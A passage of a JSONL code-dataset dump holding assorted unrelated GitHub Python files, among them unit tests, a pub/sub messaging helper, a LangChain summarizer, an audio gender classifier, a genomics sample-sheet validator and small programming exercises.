_('Sing')),\n ]))\n\n def test_abilities_add_c(self):\n self.ccsv_test.save_c('abilities', ['fly', 'sing'])\n self.ccsv_test.add_c('abilities', ['heal'])\n self.assertEqual(self.ccsv_test.c_abilities, '\"fly\",\"sing\",\"heal\"')\n self.assertEqual(self.ccsv_test.abilities, ['fly', 'sing', 'heal'])\n self.assertEqual(self.ccsv_test.t_abilities, OrderedDict([\n ('fly', _('Fly')),\n ('sing', _('Sing')),\n ('heal', _('Heal')),\n ]))\n\n def test_abilities_remove_c(self):\n self.ccsv_test.save_c('abilities', ['fly', 'heal', 'sing'])\n self.ccsv_test.remove_c('abilities', ['heal'])\n self.assertEqual(self.ccsv_test.c_abilities, '\"fly\",\"sing\"')\n self.assertEqual(self.ccsv_test.abilities, ['fly', 'sing'])\n self.assertEqual(self.ccsv_test.t_abilities, OrderedDict([\n ('fly', _('Fly')),\n ('sing', _('Sing')),\n ]))\n\n # Tags\n # With choices restrictions without translations\n\n def test_tags_save_c(self):\n self.ccsv_test.save_c('tags', ['party', 'christmas'])\n self.assertEqual(self.ccsv_test.c_tags, '\"party\",\"christmas\"')\n self.assertEqual(self.ccsv_test.tags, ['party', 'christmas'])\n self.assertEqual(self.ccsv_test.t_tags, OrderedDict([\n ('party', 'party'),\n ('christmas', 'christmas'),\n ]))\n\n def test_tags_add_c(self):\n self.ccsv_test.save_c('tags', ['party', 'christmas'])\n self.ccsv_test.add_c('tags', ['NSFW'])\n self.assertEqual(self.ccsv_test.c_tags, '\"party\",\"christmas\",\"NSFW\"')\n self.assertEqual(self.ccsv_test.tags, ['party', 'christmas', 'NSFW'])\n self.assertEqual(self.ccsv_test.t_tags, OrderedDict([\n ('party', 'party'),\n ('christmas', 'christmas'),\n ('NSFW', 'NSFW'),\n ]))\n\n def test_tags_remove_c(self):\n self.ccsv_test.save_c('tags', ['party', 'NSFW', 'christmas'])\n self.ccsv_test.remove_c('tags', ['NSFW'])\n self.assertEqual(self.ccsv_test.c_tags, '\"party\",\"christmas\"')\n self.assertEqual(self.ccsv_test.tags, ['party', 'christmas'])\n self.assertEqual(self.ccsv_test.t_tags, OrderedDict([\n ('party', 'party'),\n ('christmas', 'christmas'),\n ]))\n","repo_name":"MagiCircles/MagiCircles","sub_path":"tests/test/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":11341,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"82"} +{"seq_id":"26285977411","text":"from random import randint\nfrom threading import Thread\nfrom typing import Iterable, Callable, Dict, List, NamedTuple, Generator\n\nfrom zeroless import Server, Client\n\nfrom messages import DetectionPacket, Delta, BaseMessageType\n\n\nclass TopicNames:\n detection = \"detection\"\n servo = \"servo\"\n\n\nclass Services:\n detector = 12000\n web_server = 12010\n autonomous = 12020\n\n\nclass Channel(NamedTuple):\n topic_name: str\n ports: List[int]\n packet: BaseMessageType\n\n\nclass Topics:\n channels = [\n Channel(\"detection\", [Services.detector], DetectionPacket),\n Channel(\"servo\", [Services.web_server, Services.autonomous], Delta),\n ]\n\n mapping = {c.topic_name: c for c in channels}\n\n services = set(service for c in channels for service in c.ports)\n\n @classmethod\n def get_service_topics(cls, service_port: int):\n return [c.topic_name for c in cls.channels if service_port in c.ports]\n\n @classmethod\n def start_service(cls, service_port: int):\n return get_server(port=service_port, topics=cls.get_service_topics(service_port))\n\n @classmethod\n def start_listener(cls, *topics: str):\n channels = [channel for channel in cls.channels if channel.topic_name in topics]\n return get_listener(*channels)\n\n\ndef get_mapped_stream(client, *channels: Channel) -> Generator[BaseMessageType, None, None]:\n topic_mapping: Dict[str, BaseMessageType] = {channel.topic_name: channel.packet for channel in channels}\n\n stream: Iterable = client.sub(topics=[t.encode('utf-8') for t in topic_mapping.keys()])\n\n for values in stream:\n # malformed message\n if len(values) != 2:\n print(\"malformed package\", values)\n continue\n\n topic, raw_msg = values\n\n topic_name: str = topic.decode()\n message = topic_mapping.get(topic_name)\n if message:\n try:\n yield topic_name, message.parse_raw(raw_msg)\n except Exception as e:\n print(f\"Failed topic {topic_name} -> {message}, '{raw_msg}'\", e)\n\n\ndef get_listener(*channels: Channel):\n # Connects the client to as many servers as desired\n client = Client()\n\n # connect to all ports\n ports = sum([channel.ports for channel in channels], [])\n for port in ports:\n client.connect_local(port=port)\n\n # Assigns an iterable to wait for incoming messages with the topics\n return get_mapped_stream(client, *channels)\n\n\nclass CallbackListener(Thread):\n\n def __init__(self, generator, callback=None, daemon=True, run=True, **kwargs) -> None:\n Thread.__init__(self, daemon=daemon, **kwargs)\n self.generator = generator\n self.callback = callback\n self.messages: Dict[str, BaseMessageType] = {}\n self.running = True\n self.id = randint(0, 1000000)\n if run:\n self.start()\n\n def run(self) -> None:\n for values in self.generator:\n if not self.running:\n print(\"closing callback listener\", self.id)\n break\n topic, msg = values\n self.messages[topic] = msg\n self.callback and self.callback(topic, msg)\n\n\ndef get_server(port: int, topics: List[str]) -> Dict[str, Callable[[BaseMessageType], None]]:\n # And assigns a callable to publish messages with the topics'\n srv = Server(port=port)\n\n mapping = {topic: srv.pub(topic=topic.encode('utf-8'), embed_topic=True) for topic in topics}\n return {k: (lambda packet: v(packet.json().encode('utf-8'))) for k, v in mapping.items()}\n","repo_name":"vegetablejuiceftw/sauron","sub_path":"pubsub.py","file_name":"pubsub.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39593412701","text":"import unittest\nfrom core.controllers.w3afCore import w3afCore\nfrom core.controllers.w3afException import w3afException\n\n\nclass TestBasic(unittest.TestCase):\n\n def setUp(self):\n self.w3afcore = w3afCore()\n \n self.plugin_types = self.w3afcore.plugins.getPluginTypes()\n self.plugin_types += ['attack']\n self.plugins = []\n \n for plugin_type in self.plugin_types:\n for plugin_name in self.w3afcore.plugins.getPluginList( plugin_type ): \n plugin = self.w3afcore.plugins.getPluginInstance(plugin_name, plugin_type)\n self.plugins.append(plugin)\n \n def test_plugin_options(self):\n for plugin in self.plugins:\n opt1 = plugin.getOptions()\n\n def test_plugin_deps_desc(self):\n for plugin in self.plugins:\n plugin.getPluginDeps()\n plugin.getLongDesc()\n \n def test_plugin_root_probability(self):\n for plugin in self.plugins:\n if plugin.getType() == 'attack':\n plugin.getRootProbability()\n\n \n","repo_name":"hogehogeworld/w3af","sub_path":"plugins/tests/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"31289382877","text":"from langchain.llms import OpenAI, LlamaCpp, CTransformers\nfrom langchain.callbacks.manager import CallbackManager\nfrom langchain.callbacks.streaming_stdout import StreamingStdOutCallbackHandler\nfrom langchain.chains.summarize import load_summarize_chain\nfrom langchain.docstore.document import Document\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\n\n\nclass LangModel:\n def __init__(self, api_key=None, model_path=None, model_type=None):\n self.callback_manager = CallbackManager([StreamingStdOutCallbackHandler()])\n if model_type == \"openai\":\n assert api_key is not None, \"API key must be provided when using OpenAI model\"\n import openai\n openai.api_key = api_key\n self.llm = OpenAI(temperature=0)\n elif model_type == \"llama\":\n assert model_path is not None, \"Model path must be provided when using Llama model\"\n #self.llm = CTransformers(model=model_path, model_type=\"mpt\")\n self.llm = LlamaCpp(model_path=model_path, callback_manager=self.callback_manager, verbose=True, n_ctx=2048)\n else:\n raise ValueError(\"Invalid model_type specified. Choose either 'openai' or 'llama'.\")\n\n def generate_summary(self, content):\n chunk_size = 500\n chunk_overlap = 0\n splitter = RecursiveCharacterTextSplitter(chunk_size=chunk_size, chunk_overlap=chunk_overlap)\n content = splitter.split_text(content)\n content = [Document(page_content=t) for t in content[:3]]\n chain = load_summarize_chain(self.llm, chain_type=\"map_reduce\")\n return chain.run(content)\n","repo_name":"nadelacruz/Note-Taking-App-API","sub_path":"llm.py","file_name":"llm.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20989996958","text":"# import librairies\nimport numpy as np\nfrom scipy.io import wavfile\nimport pickle\n\n################### class to get setting of audio ####################\n\nclass get_proprieties:\n \n def __init__(self):\n self.path=\"../gender_voice_recognition/voice/saving_voice.wav\"\n self.setting=self.audio_data()\n \n def transfer_KHz(self,parametre):\n return parametre/1000\n \n def audio_data(self):\n fs, data = wavfile.read(self.path)\n \n # use the first channel only\n if data.ndim > 1:\n data = data[:, 0]\n \n spec = np.abs(np.fft.rfft(data))\n freq = np.fft.rfftfreq(len(data), d=1/fs)\n assert len(spec) == len(freq)\n amp = spec / spec.sum()\n amp_cumsum = amp.cumsum()\n assert len(amp_cumsum) == len(freq)\n q25 = freq[len(amp_cumsum[amp_cumsum < 0.25])]\n q75 = freq[len(amp_cumsum[amp_cumsum < 0.75])]\n mean=(freq * amp).sum()\n median = freq[len(amp_cumsum[amp_cumsum <= 0.5]) + 1]\n sd = np.sqrt(np.sum(amp * ((freq - mean) ** 2)))\n IQR = q75 - q25\n z = amp - amp.mean()\n w = amp.std()\n skew = ((z ** 3).sum() / (len(spec) - 1)) / w ** 3\n kurt = ((z ** 4).sum() / (len(spec) - 1)) / w ** 4\n mode = freq[amp.argmax()]\n \n return [\n self.transfer_KHz(mean),\n self.transfer_KHz(sd),\n self.transfer_KHz(median),\n self.transfer_KHz(mode),\n self.transfer_KHz(q25),\n self.transfer_KHz(q75),\n self.transfer_KHz(IQR),\n self.transfer_KHz(skew),\n self.transfer_KHz(kurt)\n ]\n\n####################### class of predict which gender is from audio ###########################\n\nclass predict_voice:\n p=get_proprieties().audio_data()\n \n def model(self):\n file=\"../gender_voice_recognition/data/model_for_voice_rcognition.sav\"\n model = pickle.load(open(file, 'rb'))\n return model\n \n def predict_value(self):\n self.X_pred=np.array([self.p])\n y_predict=self.model().predict(self.X_pred)\n if int(y_predict)==1:\n return \"male\"\n else:\n return \"female\"\n ","repo_name":"yassineboujrada/gender_voice_recognition","sub_path":"GUI/predict_voice.py","file_name":"predict_voice.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"12748616884","text":"import typing\n\nimport scenario\nimport scenario.test\nimport scenario.text\n\n# Related steps:\nfrom steps.logverifications import LogVerificationStep\nfrom .execution import ExecCampaign\n\n\nclass CheckCampaignLogExpectations(LogVerificationStep):\n\n def __init__(\n self,\n exec_step, # type: ExecCampaign\n campaign_expectations, # type: scenario.test.CampaignExpectations\n ): # type: (...) -> None\n LogVerificationStep.__init__(self, exec_step)\n\n self.campaign_expectations = campaign_expectations # type: scenario.test.CampaignExpectations\n\n def step(self): # type: (...) -> None\n self.STEP(\"Campaign log output\")\n\n self.RESULT(\"The campaign has executed every test described by the test suite file(s):\")\n _expected_test_cases_in_error = [] # type: typing.List[scenario.test.ScenarioExpectations]\n _expected_test_cases_with_warnings = [] # type: typing.List[scenario.test.ScenarioExpectations]\n assert self.campaign_expectations.all_test_case_expectations\n for _test_case_expectations in self.campaign_expectations.all_test_case_expectations: # type: scenario.test.ScenarioExpectations\n assert _test_case_expectations.script_path\n if self.RESULT(f\"- {self.test_case.getpathdesc(_test_case_expectations.script_path)}\"):\n self.assertline(\n f\"Executing '{_test_case_expectations.script_path}'\",\n evidence=f\"{self.test_case.getpathdesc(_test_case_expectations.script_path)} execution\",\n )\n if _test_case_expectations.status == scenario.ExecutionStatus.WARNINGS:\n _expected_test_cases_with_warnings.append(_test_case_expectations)\n elif _test_case_expectations.status != scenario.ExecutionStatus.SUCCESS:\n _expected_test_cases_in_error.append(_test_case_expectations)\n\n _test_cases_txt = scenario.text.Countable(\"test case\", _expected_test_cases_in_error) # type: scenario.text.Countable\n if self.RESULT(f\"The campaign output displays {len(_test_cases_txt)} {_test_cases_txt} in error{_test_cases_txt.ifany(':', '.')}\"):\n self.assertlinecount(\n \"ERROR FAIL\", len(_expected_test_cases_in_error),\n evidence=\"Number of test cases in error\",\n )\n self.assertline(\n f\"Number of tests in error: {len(_expected_test_cases_in_error)}\",\n evidence=\"Number of test cases in error\",\n )\n for _expected_test_case_in_error in _expected_test_cases_in_error: # type: scenario.test.ScenarioExpectations\n assert _expected_test_case_in_error.script_path\n if self.RESULT(f\"- {self.test_case.getpathdesc(_expected_test_case_in_error.script_path)}\"):\n # This assertion checks error notifications at the end of the log output.\n self.assertline(\n f\"ERROR {_expected_test_case_in_error.name}\",\n evidence=\"Test case in error\",\n )\n scenario.logging.pushindentation()\n self._checktestcaseerrors(_expected_test_case_in_error)\n scenario.logging.popindentation()\n\n _test_cases_txt = scenario.text.Countable(\"test case\", _expected_test_cases_with_warnings) # Type already declared above.\n if self.RESULT(f\"The campaign output displays {len(_test_cases_txt)} {_test_cases_txt} with warnings{_test_cases_txt.ifany(':', '.')}\"):\n self.assertlinecount(\n \"WARNING WARNINGS\", len(_expected_test_cases_with_warnings),\n evidence=\"Number of test cases with warnings\",\n )\n self.assertline(\n f\"Number of tests with warnings: {len(_expected_test_cases_with_warnings)}\",\n evidence=\"Number of test cases with warnings\",\n )\n for _expected_test_case_with_warnings in _expected_test_cases_with_warnings: # type: scenario.test.ScenarioExpectations\n assert _expected_test_case_with_warnings.script_path\n if self.RESULT(f\"- {self.test_case.getpathdesc(_expected_test_case_with_warnings.script_path)}\"):\n # This assertion checks warning notifications at the end of the log output.\n self.assertline(\n f\"WARNING {_expected_test_case_with_warnings.name}\",\n evidence=\"Test case with warnings\",\n )\n scenario.logging.pushindentation()\n self._checktestcaseerrors(_expected_test_case_with_warnings)\n scenario.logging.popindentation()\n\n def _checktestcaseerrors(\n self,\n scenario_expectations, # type: scenario.test.ScenarioExpectations\n ): # type: (...) -> None\n if scenario_expectations.errors: # Not `None` AND not empty.\n _errors_txt = scenario.text.Countable(\"error\", scenario_expectations.errors) # type: scenario.text.Countable\n self.RESULT(f\"{len(_errors_txt)} {_errors_txt} {_errors_txt.are} expected{_errors_txt.ifany(':', '.')}\")\n for _error_expectations in scenario_expectations.errors: # type: scenario.test.ErrorExpectations\n if self.RESULT(f\"- error {_error_expectations.loggingtext()!r} (notified twice)\"):\n # Notified twice: a first time while the tests are being executed, and a second with the final results display.\n self.assertlinecount(\n _error_expectations.loggingtext(), 2,\n evidence=\"Test error details\",\n )\n\n if scenario_expectations.warnings: # Not `None` AND not empty.\n _warnings_txt = scenario.text.Countable(\"warning\", scenario_expectations.warnings) # type: scenario.text.Countable\n self.RESULT(f\"{len(_warnings_txt)} {_warnings_txt} {_warnings_txt.are} expected{_warnings_txt.ifany(':', '.')}\")\n for _warning_expectations in scenario_expectations.warnings: # type: scenario.test.ErrorExpectations\n assert _warning_expectations.error_type == \"known-issue\", \"Only known issues\"\n if self.RESULT(f\"- warning {_warning_expectations.loggingtext()!r} (notified twice)\"):\n # Notified twice: a first time while the tests are being executed, and a second with the final results display.\n self.assertlinecount(\n _warning_expectations.loggingtext(), 2,\n evidence=\"Test warning details\",\n )\n","repo_name":"alxroyer/scenario","sub_path":"test/cases/campaigns/steps/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":6588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43916409482","text":"#Author: ahmelq - github.com/ahmedelq/\n#License: MIT\n#this is a solution of https://www.reddit.com/r/dailyprogrammer/comments/1ystvb/022414_challenge_149_easy_disemvoweler/\n\ndef disemvowler(txt):\n vowels = ['a', 'e', 'i', 'u','o']\n phrase = ''\n extracted_vowels = ''\n txt = txt.replace(' ', '')\n for c in txt:\n if c not in vowels:\n phrase += c\n else:\n extracted_vowels += c \n return phrase, extracted_vowels \n\nif __name__ == \"__main__\":\n print(\n disemvowler(\"two drums and a cymbal fall off a cliff\"),\n disemvowler(\"all those who believe in psychokinesis raise my hand\"),\n disemvowler(\"did you hear about the excellent farmer who was outstanding in his field\")\n )","repo_name":"ahmedelq/PythonicAlgorithms","sub_path":"fun/disemvoweler.py","file_name":"disemvoweler.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40584384495","text":"# -*_ coding: utf-8 -*-\n# __author__ = 'zengjing'\n# last_modified: 20171115\nfrom biocluster.core.exceptions import FileError\nfrom biocluster.iofile import File\nimport os\nimport json\nimport MySQLdb\nimport xml.etree.ElementTree as ET\n\n\nclass SampleInfoFile(File):\n \"\"\"\n 定义高通量数据拆分的输入json文件的格式\n \"\"\"\n def __init__(self):\n super(SampleInfoFile, self).__init__()\n\n def dump_json(self):\n \"\"\"解析json文件\"\"\"\n f = open(self.path, 'rb')\n try:\n json_dict = json.loads(f.read())\n except:\n raise FileError('json格式不正确')\n return json_dict\n\n def get_info(self):\n \"\"\"\n 获取文件属性\n \"\"\"\n super(SampleInfoFile, self).get_info()\n self.json_dict = self.dump_json()\n self.set_property('data_path', self.json_dict['data_path'])\n self.set_property('lane_info', self.json_dict['lane_info'])\n self.set_property('library_info', self.json_dict['library_info'])\n self.set_property('sample_info', self.json_dict['sample_info'])\n seq = self.create_base_mask()\n if self.json_dict['seq_mode'] != seq[1]:\n raise FileError('json里的测序模式和RunInfo.xml里的测序模式不同,请检查json里的index序列、测序模式')\n self.set_property('seq_type', seq[0])\n self.set_property('seq_mode', seq[1])\n\n def check(self):\n \"\"\"\n 检测文件是否满足要求,发生错误时应该触发FileError异常\n \"\"\"\n super(SampleInfoFile, self).check()\n self.json_dict = self.dump_json()\n prop = ['board_name', 'lane_info', 'library_info', 'sample_info', 'data_path', 'seq_mode']\n for p in prop:\n if p not in self.json_dict:\n raise FileError('json中缺少属性:' + p)\n if not os.path.exists(self.json_dict['data_path']):\n raise FileError('json中data_path文件不存在')\n self.bcl_path = os.path.join(self.json_dict['data_path'], 'Data/Intensities/BaseCalls/')\n if not os.path.exists(self.bcl_path):\n raise FileError(\"bcl文件夹:{}缺失,请检查\".format(self.bcl_path))\n self.run_info = os.path.join(self.json_dict['data_path'], 'RunInfo.xml')\n if not os.path.exists(self.run_info):\n raise FileError(\"RunInfo.xml文件:{}缺失,请检查\".format(self.run_info))\n lane_info = ['lane_name', 'lane_data_size', 'pre_lane_data_size']\n for lane in self.json_dict['lane_info']:\n for p in lane_info:\n if p not in lane.keys():\n raise FileError('json中缺少lane的属性:' + p)\n library_info = ['library_number', 'lane_name', 'library_type', 'index', 'index_seq', 'index2', 'index2_seq', 'convert_data_size', 'order_data_size', 'setup_seq_size', 'library_insert', 'library_denisity', 'has_child']\n for library in self.json_dict['library_info']:\n for p in library_info:\n if p not in library.keys():\n raise FileError('json中缺少library的属性:' + p)\n sample_info = ['seq_type', 'library_type', 'ticket_number', 'project_sn', 'client_name', 'library_number', 'sample_name', 'p1_barcode', 'primer', 'barcode']\n for s in self.json_dict['sample_info']:\n for p in sample_info:\n if p not in s.keys():\n raise FileError('json中缺少sample的属性:' + s)\n self.indexs, self.index2s = [], []\n for library in self.json_dict['library_info']:\n if library['index_seq'] == '':\n raise FileError('文库的index缺失,请检查')\n if library['index_seq'] not in self.indexs:\n self.indexs.append(library['index_seq'])\n else:\n raise FileError('同一个板中文库的index:{}重复,请检查'.format(library['index_seq']))\n if library['index2_seq'] not in self.index2s:\n self.index2s.append(library['index2_seq'])\n elif library['index2_seq'] != \"\":\n raise FileError('同一个板中文库的index2:{}重复,请检查'.format(library['index2_seq']))\n else:\n pass\n\n def create_sample_sheet(self, seq_type, csv):\n csv = open(csv, 'w')\n if seq_type == 'PE':\n head = '[Data],,,,,,,,,,\\nLane,Sample_ID,Sample_Name,Sample_Plate,Sample_Well\\\n ,I7_Index_ID,index,I5_index_ID,index2,Sample_Project,Description\\n'\n csv.write(head)\n for library in self.json_dict['library_info']:\n line = library['lane_name'] + ',' + library['library_number'] +',' +\\\n library['library_number'] + ',,,' + library['index2'] + ',' +\\\n library['index2_seq'] + ',' + library['index'] + ',' + library['index_seq'] + ',Fastq,\\n'\n csv.write(line)\n if seq_type == 'SE':\n head = '[Data],,,,,,,,\\nLane,Sample_ID,Sample_Name,Sample_Plate,Sample_Well,\\\n I7_Index_ID,index,Sample_Project,Description\\n'\n csv.write(head)\n for library in self.json_dict['library_info']:\n line = library['lane_name'] + ',' + library['library_number'] +',' +\\\n library['library_number'] + ',,,' + library['index'] + ',' + library['index_seq'] + ',Fastq,\\n'\n csv.write(line)\n\n def create_base_mask(self):\n \"\"\"\n 解析\"RunInfo.xml\"文件,获取机器模式中的index长度,生成测序模式\n \"\"\"\n e = ET.parse(self.run_info).getroot()\n machineIndexLen = 0\n machineIndexLen2 = 0\n for ele in e.iter(\"Read\"):\n if ele.attrib[\"Number\"] == \"1\" and ele.attrib['IsIndexedRead'] == \"N\":\n sqMethod1 = int(ele.attrib['NumCycles'])\n if ele.attrib[\"Number\"] == \"4\": # 双端\n self.seq_type = \"PE\"\n if ele.attrib[\"Number\"] == \"4\" and ele.attrib['IsIndexedRead'] == \"N\":\n sqMethod2 = int(ele.attrib['NumCycles'])\n if ele.attrib[\"Number\"] == \"2\" and ele.attrib['IsIndexedRead'] == \"Y\":\n machineIndexLen = int(ele.attrib['NumCycles'])\n if ele.attrib[\"Number\"] == \"3\" and ele.attrib['IsIndexedRead'] == \"Y\":\n machineIndexLen2 = int(ele.attrib['NumCycles'])\n else: # 单端\n self.seq_type = \"SE\"\n if ele.attrib[\"Number\"] == \"2\" and ele.attrib['IsIndexedRead'] == \"Y\":\n machineIndexLen = int(ele.attrib['NumCycles'])\n if ele.attrib[\"Number\"] == \"3\" and ele.attrib['IsIndexedRead'] == \"N\":\n sqMethod2 = int(ele.attrib['NumCycles'])\n if machineIndexLen == 0:\n raise FileError(\"RunInfo.xml解析出错, 无法解析上机时的index长度,请检查{}是否正确\".format(self.run_info))\n if self.seq_type == \"PE\" and machineIndexLen2 == 0:\n raise FileError(\"RunInfo.xml解析出错, 无法解析上机时的index长度,请检查{}是否正确\".format(self.run_info))\n minIndexLen = 9999 # 单端\n # myCode2Index = dict() # 为了减少数据库的查询次数\n # for index_code in self.indexs:\n # index = self.code2index(index_code)[0]\n # myCode2Index[index_code] = index\n # if len(index) > machineIndexLen:\n # raise FileError(\"文库的index长度大于机器模式中的index长度\")\n # if len(index) < minIndexLen:\n # minIndexLen = len(index)\n for index in self.indexs:\n if len(index) > machineIndexLen:\n raise FileError(\"文库的index长度大于机器模式中的index长度\")\n if len(index) < minIndexLen:\n minIndexLen = len(index)\n iContent = str(minIndexLen) + \"n\" * int(machineIndexLen - minIndexLen)\n self.base_mask = \"y{},i{},y{}\".format(sqMethod1, iContent, sqMethod2) # 单端\n if self.seq_type == \"PE\": # 双端\n minIndexLen2 = 9999\n # for index_code2 in self.index2s:\n # index2 = self.code2index(index_code2)[0]\n # myCode2Index[index_code2] = index2\n # if len(index2) > machineIndexLen2:\n # raise FileError(\"文库的index2长度大于机器模式中的index2长度\")\n # if len(index2) < minIndexLen2:\n # minIndexLen2 = len(index2)\n for index2 in self.index2s:\n if len(index2) > machineIndexLen2:\n raise FileError(\"文库的index2长度大于机器模式中的index2长度\")\n if len(index2) < minIndexLen2:\n minIndexLen2 = len(index2)\n iContent1 = str(minIndexLen) + \"n\" * int(machineIndexLen - minIndexLen)\n iContent2 = str(minIndexLen2) + \"n\" * int(machineIndexLen2 - minIndexLen2)\n self.base_mask = \"y{},i{},i{},y{}\".format(sqMethod1, iContent1, iContent2, sqMethod2)\n return self.seq_type, self.base_mask\n\n # def code2index(self, code):\n # \"\"\"\n # 根据一个index的代码,查询mysql数据库,获取具体的index序列\n # \"\"\"\n # db = MySQLdb.connect(\"192.168.10.51\", \"mydb\", \"mydb\", \"mjanalysis\")\n # cursor = db.cursor()\n # sql = \"SELECT * FROM sg_index_info WHERE label=\\\"{}\\\"\".format(code)\n # try:\n # cursor.execute(sql)\n # results = cursor.fetchall()\n # except:\n # raise Exception(\"无法从index数据库中获得信息\")\n # if len(results) == 0:\n # raise ValueError(\"未找到该index代码: {}\".format(code))\n # left_index = results[0][3]\n # right_index = results[0][4]\n # varbase = results[0][2]\n # if len(varbase) == 1:\n # f_varbase = varbase\n # r_varbase = varbase\n # elif len(varbase) == 2:\n # f_varbase = varbase[0]\n # r_varbase = varbase[1]\n # try:\n # f_varbase = int(f_varbase)\n # r_varbase = int(r_varbase)\n # except:\n # pass\n # return (left_index, right_index, f_varbase, r_varbase)\n\n\n\nif __name__ == '__main__':\n a = SampleInfoFile()\n a.set_path('/mnt/ilustre/users/sanger-dev/sg-users/zengjing/datasplit/new/meta_sample_info.json')\n a.check()\n a.get_info()\n # csv = '/mnt/ilustre/users/sanger-dev/sg-users/zengjing/datasplit/new/test1_sample.csv'\n # seq_type = 'SE'\n # a.create_sample_sheet(seq_type, csv)\n # s1 = a.create_base_mask()\n # print s1[0]\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/files/datasplit/sample_info.py","file_name":"sample_info.py","file_ext":"py","file_size_in_byte":10706,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"43942459446","text":"from __future__ import annotations\n\nimport climetlab as cml\nimport xarray as xr\nfrom climetlab.decorators import normalize\nfrom climetlab.normalize import normalize_args\n\nfrom . import DATA, OBSERVATIONS_DATA_VERSION, URL, S2sDataset\nfrom .s2s_mergers import ensure_naming_conventions\n\nPATTERN_OBS = \"{url}/{data}/{dataset}/{version}/{parameter}-{date}.nc\"\nPATTERN_RAWOBS = \"{url}/{data}/{dataset}/{version}/{parameter}{grid_string}.nc\"\n\nGRID_STRING = {\n \"240x121\": \"\",\n \"121x240\": \"\",\n \"720x360\": \"_720x360\",\n \"360x720\": \"_720x360\",\n}\n\n\nclass Observations(S2sDataset):\n terms_of_use = (\n S2sDataset.terms_of_use\n + \"\\n\"\n + (\n \" This dataset has been dowloaded from IRIDL. By downloading this data you also agree to \"\n \"the terms and conditions defined at https://iridl.ldeo.columbia.edu.\"\n )\n )\n\n\nclass RawObservations(Observations):\n dataset = \"observations\"\n\n @normalize(\"parameter\", [None, \"t2m\", \"pr\"], multiple=True)\n def __init__(self, parameter=None, grid=\"240x121\", version=OBSERVATIONS_DATA_VERSION):\n if parameter == [None] or parameter is None:\n parameter = [\"t2m\", \"pr\"]\n self.version = version\n self.grid_string = GRID_STRING[grid]\n\n request = dict(\n url=URL,\n data=DATA,\n parameter=parameter,\n dataset=self.dataset,\n version=self.version,\n grid_string=self.grid_string,\n )\n\n self.source = cml.load_source(\"url-pattern\", PATTERN_RAWOBS, request, merger=\"merge()\")\n\n def to_xarray(self, like=None):\n ds = self.source.to_xarray()\n if isinstance(like, xr.Dataset):\n from .extra import forecast_like_observations\n\n ds = forecast_like_observations(like, ds)\n return ds\n\n\nclass PreprocessedObservations(Observations):\n dataset = None\n\n @normalize_args(date=\"date-list(%Y%m%d)\")\n @normalize(\"parameter\", [None, \"t2m\", \"tp\"], multiple=True)\n def __init__(self, date, parameter=None, version=OBSERVATIONS_DATA_VERSION):\n if parameter == [None] or parameter is None:\n parameter = [\"t2m\", \"pr\"]\n self.version = version\n self.date = date\n self.parameter = parameter\n\n sources = []\n for p in parameter:\n request = self._make_request(p)\n sources.append(\n cml.load_source(\"url-pattern\", PATTERN_OBS, request, merger=\"concat(concat_dim=time_forecast)\")\n )\n self.source = cml.load_source(\"multi\", sources, merger=\"merge()\")\n\n def to_xarray(self, *args, **kwargs):\n ds = self.source.to_xarray()\n ds = ensure_naming_conventions(ds)\n return ds\n\n def _make_request(self, parameter):\n request = dict(\n url=URL,\n data=DATA,\n parameter=parameter,\n dataset=self.dataset,\n date=self.date,\n version=self.version,\n )\n return request\n\n\nclass TrainingOutputReference(PreprocessedObservations):\n dataset = \"training-output-reference\"\n\n\nclass TestOutputReference(PreprocessedObservations):\n dataset = \"test-output-reference\"\n\n\nHindcastLikeObservations = TrainingOutputReference\nForecastLikeObservations = TestOutputReference\n","repo_name":"ecmwf-lab/climetlab-s2s-ai-challenge","sub_path":"climetlab_s2s_ai_challenge/observations.py","file_name":"observations.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"82"} +{"seq_id":"8583399447","text":"import sys\nN = int(input())\nresult = []\n#commands = [\"push\",\"pop\",\"size\",\"empty\",\"top\"]\nfor _ in range(N):\n input1 = sys.stdin.readline().rstrip().split()\n command = input1[0]\n if(len(input1)>1):\n value = int(input1[1])\n\n\n if command == \"push\":\n result.append(value)\n elif command == \"pop\" :\n if(len(result)==0):\n print(-1)\n continue\n print(result.pop())\n elif command == \"size\":\n print(len(result))\n elif command == \"empty\":\n# print((lambda size: not (result == 0))(len(result)) )\n if(len(result)==0):print(1)\n else: print(0)\n elif command == \"top\" :\n if(len(result)==0):\n print(-1)\n continue\n print(result[len(result)-1])\n\n\n","repo_name":"UMC-KU/Algorithm-B","sub_path":"yeon/data_structure/10828_BJ.py","file_name":"10828_BJ.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"452637647","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# File : hooks/pre_gen_project.py\n# Date : 12.12.2018\n# Last Modified Date: 12.12.2018\nrepo_name = '{{ cookiecutter.repo_name }}'\n\nif hasattr(repo_name, 'isidentifier'):\n assert repo_name.isidentifier(), 'Repo Name should be valid Python identifier!'\n\ndocker = '{{ cookiecutter.use_docker }}'.lower()\n\nif docker == 'n':\n\timport sys\n\n\tpython_major_version = sys.version_info[0]\n\n\tif python_major_version == 